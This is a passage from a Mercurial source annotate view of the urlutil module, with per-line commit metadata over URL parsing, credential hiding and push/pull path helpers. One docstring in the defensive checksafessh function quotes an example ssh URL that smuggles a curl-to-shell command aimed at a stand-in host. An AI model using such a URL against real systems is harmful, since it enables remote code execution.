Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
353 user, passwd = self.user, self.passwd
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
354 try:
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
355 self.user, self.passwd = None, None
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
356 s = bytes(self)
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
357 finally:
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
358 self.user, self.passwd = user, passwd
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
359 if not self.user:
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
360 return (s, None)
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
361 # authinfo[1] is passed to urllib2 password manager, and its
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
362 # URIs must not contain credentials. The host is passed in the
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
363 # URIs list because Python < 2.4.3 uses only that to search for
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
364 # a password.
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
365 return (s, (None, (s, self.host), self.user, self.passwd or b''))
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
366
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
367 def isabs(self):
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
368 if self.scheme and self.scheme != b'file':
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
369 return True # remote URL
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
370 if hasdriveletter(self.path):
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
371 return True # absolute for our purposes - can't be joined()
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
372 if self.path.startswith(br'\\'):
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
373 return True # Windows UNC path
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
374 if self.path.startswith(b'/'):
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
375 return True # POSIX-style
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
376 return False
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
377
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
378 def localpath(self):
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
379 # type: () -> bytes
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
380 if self.scheme == b'file' or self.scheme == b'bundle':
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
381 path = self.path or b'/'
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
382 # For Windows, we need to promote hosts containing drive
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
383 # letters to paths with drive letters.
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
384 if hasdriveletter(self._hostport):
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
385 path = self._hostport + b'/' + self.path
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
386 elif (
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
387 self.host is not None and self.path and not hasdriveletter(path)
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
388 ):
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
389 path = b'/' + path
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
390 return path
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
391 return self._origpath
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
392
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
393 def islocal(self):
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
394 '''whether localpath will return something that posixfile can open'''
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
395 return (
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
396 not self.scheme
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
397 or self.scheme == b'file'
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
398 or self.scheme == b'bundle'
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
399 )
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
400
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
401
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
402 def hasscheme(path):
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
403 # type: (bytes) -> bool
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
404 return bool(url(path).scheme) # cast to help pytype
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
405
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
406
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
407 def hasdriveletter(path):
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
408 # type: (bytes) -> bool
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
409 return bool(path) and path[1:2] == b':' and path[0:1].isalpha()
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
410
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
411
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
412 def urllocalpath(path):
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
413 # type: (bytes) -> bytes
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
414 return url(path, parsequery=False, parsefragment=False).localpath()
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
415
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
416
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
417 def checksafessh(path):
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
418 # type: (bytes) -> None
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
419 """check if a path / url is a potentially unsafe ssh exploit (SEC)
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
420
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
421 This is a sanity check for ssh urls. ssh will parse the first item as
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
422 an option; e.g. ssh://-oProxyCommand=curl${IFS}bad.server|sh/path.
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
423 Let's prevent these potentially exploited urls entirely and warn the
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
424 user.
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
425
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
426 Raises an error.Abort when the url is unsafe.
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
427 """
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
428 path = urlreq.unquote(path)
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
429 if path.startswith(b'ssh://-') or path.startswith(b'svn+ssh://-'):
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
430 raise error.Abort(
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
431 _(b'potentially unsafe url: %r') % (pycompat.bytestr(path),)
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
432 )
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
433
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
434
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
435 def hidepassword(u):
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
436 # type: (bytes) -> bytes
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
437 '''hide user credential in a url string'''
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
438 u = url(u)
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
439 if u.passwd:
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
440 u.passwd = b'***'
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
441 return bytes(u)
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
442
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
443
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
444 def removeauth(u):
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
445 # type: (bytes) -> bytes
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
446 '''remove all authentication information from a url string'''
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
447 u = url(u)
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
448 u.user = u.passwd = None
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
449 return bytes(u)
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
450
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
451
47030
c2b5365aa827 urlutil: introduce a new `list_paths` function
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47029
diff changeset
452 def list_paths(ui, target_path=None):
c2b5365aa827 urlutil: introduce a new `list_paths` function
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47029
diff changeset
453 """list all the (name, paths) in the passed ui"""
47187
7531cc34713c urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47186
diff changeset
454 result = []
47030
c2b5365aa827 urlutil: introduce a new `list_paths` function
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47029
diff changeset
455 if target_path is None:
47187
7531cc34713c urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47186
diff changeset
456 for name, paths in sorted(pycompat.iteritems(ui.paths)):
7531cc34713c urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47186
diff changeset
457 for p in paths:
7531cc34713c urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47186
diff changeset
458 result.append((name, p))
7531cc34713c urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47186
diff changeset
459
47030
c2b5365aa827 urlutil: introduce a new `list_paths` function
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47029
diff changeset
460 else:
47187
7531cc34713c urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47186
diff changeset
461 for path in ui.paths.get(target_path, []):
7531cc34713c urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47186
diff changeset
462 result.append((target_path, path))
7531cc34713c urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47186
diff changeset
463 return result
47030
c2b5365aa827 urlutil: introduce a new `list_paths` function
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47029
diff changeset
464
c2b5365aa827 urlutil: introduce a new `list_paths` function
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47029
diff changeset
465
47027
c029b35565dd url_util: introduce a `try_path` function
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46964
diff changeset
466 def try_path(ui, url):
c029b35565dd url_util: introduce a `try_path` function
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46964
diff changeset
467 """try to build a path from a url
c029b35565dd url_util: introduce a `try_path` function
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46964
diff changeset
468
c029b35565dd url_util: introduce a `try_path` function
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46964
diff changeset
469 Return None if no Path could built.
c029b35565dd url_util: introduce a `try_path` function
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46964
diff changeset
470 """
c029b35565dd url_util: introduce a `try_path` function
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46964
diff changeset
471 try:
c029b35565dd url_util: introduce a `try_path` function
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46964
diff changeset
472 # we pass the ui instance are warning might need to be issued
c029b35565dd url_util: introduce a `try_path` function
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46964
diff changeset
473 return path(ui, None, rawloc=url)
c029b35565dd url_util: introduce a `try_path` function
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46964
diff changeset
474 except ValueError:
c029b35565dd url_util: introduce a `try_path` function
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46964
diff changeset
475 return None
c029b35565dd url_util: introduce a `try_path` function
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46964
diff changeset
476
c029b35565dd url_util: introduce a `try_path` function
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46964
diff changeset
477
46909
067840864f37 urlutil: add a `get_push_paths` to perform the push destination logic
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46908
diff changeset
478 def get_push_paths(repo, ui, dests):
067840864f37 urlutil: add a `get_push_paths` to perform the push destination logic
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46908
diff changeset
479 """yields all the `path` selected as push destination by `dests`"""
067840864f37 urlutil: add a `get_push_paths` to perform the push destination logic
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46908
diff changeset
480 if not dests:
46916
7061eee84151 push-dests: rework the handling of default value
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46910
diff changeset
481 if b'default-push' in ui.paths:
47187
7531cc34713c urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47186
diff changeset
482 for p in ui.paths[b'default-push']:
7531cc34713c urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47186
diff changeset
483 yield p
46916
7061eee84151 push-dests: rework the handling of default value
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46910
diff changeset
484 elif b'default' in ui.paths:
47187
7531cc34713c urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47186
diff changeset
485 for p in ui.paths[b'default']:
7531cc34713c urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47186
diff changeset
486 yield p
46916
7061eee84151 push-dests: rework the handling of default value
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46910
diff changeset
487 else:
46917
efadec3ea8e2 push-dests: move the code around missing default dest inside `get_push_paths`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46916
diff changeset
488 raise error.ConfigError(
efadec3ea8e2 push-dests: move the code around missing default dest inside `get_push_paths`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46916
diff changeset
489 _(b'default repository not configured!'),
efadec3ea8e2 push-dests: move the code around missing default dest inside `get_push_paths`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46916
diff changeset
490 hint=_(b"see 'hg help config.paths'"),
efadec3ea8e2 push-dests: move the code around missing default dest inside `get_push_paths`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46916
diff changeset
491 )
46916
7061eee84151 push-dests: rework the handling of default value
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46910
diff changeset
492 else:
7061eee84151 push-dests: rework the handling of default value
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46910
diff changeset
493 for dest in dests:
47028
d69a9628eba7 urlutil: inline the relevant part of `getpath` in `get_push_paths`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47027
diff changeset
494 if dest in ui.paths:
47187
7531cc34713c urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47186
diff changeset
495 for p in ui.paths[dest]:
7531cc34713c urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47186
diff changeset
496 yield p
47028
d69a9628eba7 urlutil: inline the relevant part of `getpath` in `get_push_paths`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47027
diff changeset
497 else:
d69a9628eba7 urlutil: inline the relevant part of `getpath` in `get_push_paths`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47027
diff changeset
498 path = try_path(ui, dest)
d69a9628eba7 urlutil: inline the relevant part of `getpath` in `get_push_paths`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47027
diff changeset
499 if path is None:
d69a9628eba7 urlutil: inline the relevant part of `getpath` in `get_push_paths`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47027
diff changeset
500 msg = _(b'repository %s does not exist')
d69a9628eba7 urlutil: inline the relevant part of `getpath` in `get_push_paths`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47027
diff changeset
501 msg %= dest
d69a9628eba7 urlutil: inline the relevant part of `getpath` in `get_push_paths`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47027
diff changeset
502 raise error.RepoError(msg)
d69a9628eba7 urlutil: inline the relevant part of `getpath` in `get_push_paths`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47027
diff changeset
503 yield path
46909
067840864f37 urlutil: add a `get_push_paths` to perform the push destination logic
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46908
diff changeset
504
067840864f37 urlutil: add a `get_push_paths` to perform the push destination logic
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46908
diff changeset
505
46910
df7439cc6806 urlutil: add a `get_pull_paths` to perform the pull destination logic
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46909
diff changeset
506 def get_pull_paths(repo, ui, sources, default_branches=()):
df7439cc6806 urlutil: add a `get_pull_paths` to perform the pull destination logic
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46909
diff changeset
507 """yields all the `(path, branch)` selected as pull source by `sources`"""
df7439cc6806 urlutil: add a `get_pull_paths` to perform the pull destination logic
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46909
diff changeset
508 if not sources:
df7439cc6806 urlutil: add a `get_pull_paths` to perform the pull destination logic
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46909
diff changeset
509 sources = [b'default']
df7439cc6806 urlutil: add a `get_pull_paths` to perform the pull destination logic
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46909
diff changeset
510 for source in sources:
46962
afdd7c472ef2 urlutil: remove usage of `ui.expandpath` in `get_pull_paths`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46940
diff changeset
511 if source in ui.paths:
47187
7531cc34713c urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47186
diff changeset
512 for p in ui.paths[source]:
7531cc34713c urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47186
diff changeset
513 yield parseurl(p.rawloc, default_branches)
46962
afdd7c472ef2 urlutil: remove usage of `ui.expandpath` in `get_pull_paths`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46940
diff changeset
514 else:
afdd7c472ef2 urlutil: remove usage of `ui.expandpath` in `get_pull_paths`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46940
diff changeset
515 # Try to resolve as a local path or URI.
47027
c029b35565dd url_util: introduce a `try_path` function
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46964
diff changeset
516 path = try_path(ui, source)
c029b35565dd url_util: introduce a `try_path` function
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46964
diff changeset
517 if path is not None:
c029b35565dd url_util: introduce a `try_path` function
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46964
diff changeset
518 url = path.rawloc
c029b35565dd url_util: introduce a `try_path` function
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46964
diff changeset
519 else:
46962
afdd7c472ef2 urlutil: remove usage of `ui.expandpath` in `get_pull_paths`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46940
diff changeset
520 url = source
47187
7531cc34713c urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47186
diff changeset
521 yield parseurl(url, default_branches)
46910
df7439cc6806 urlutil: add a `get_pull_paths` to perform the pull destination logic
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46909
diff changeset
522
df7439cc6806 urlutil: add a `get_pull_paths` to perform the pull destination logic
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46909
diff changeset
523
46940
368294967c95 urlutil: add a new `get_unique_push_path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46936
diff changeset
524 def get_unique_push_path(action, repo, ui, dest=None):
368294967c95 urlutil: add a new `get_unique_push_path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46936
diff changeset
525 """return a unique `path` or abort if multiple are found
368294967c95 urlutil: add a new `get_unique_push_path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46936
diff changeset
526
368294967c95 urlutil: add a new `get_unique_push_path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46936
diff changeset
527 This is useful for command and action that does not support multiple
368294967c95 urlutil: add a new `get_unique_push_path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46936
diff changeset
528 destination (yet).
368294967c95 urlutil: add a new `get_unique_push_path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46936
diff changeset
529
368294967c95 urlutil: add a new `get_unique_push_path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46936
diff changeset
530 Note that for now, we cannot get multiple destination so this function is "trivial".
368294967c95 urlutil: add a new `get_unique_push_path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46936
diff changeset
531
368294967c95 urlutil: add a new `get_unique_push_path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46936
diff changeset
532 The `action` parameter will be used for the error message.
368294967c95 urlutil: add a new `get_unique_push_path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46936
diff changeset
533 """
368294967c95 urlutil: add a new `get_unique_push_path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46936
diff changeset
534 if dest is None:
368294967c95 urlutil: add a new `get_unique_push_path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46936
diff changeset
535 dests = []
368294967c95 urlutil: add a new `get_unique_push_path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46936
diff changeset
536 else:
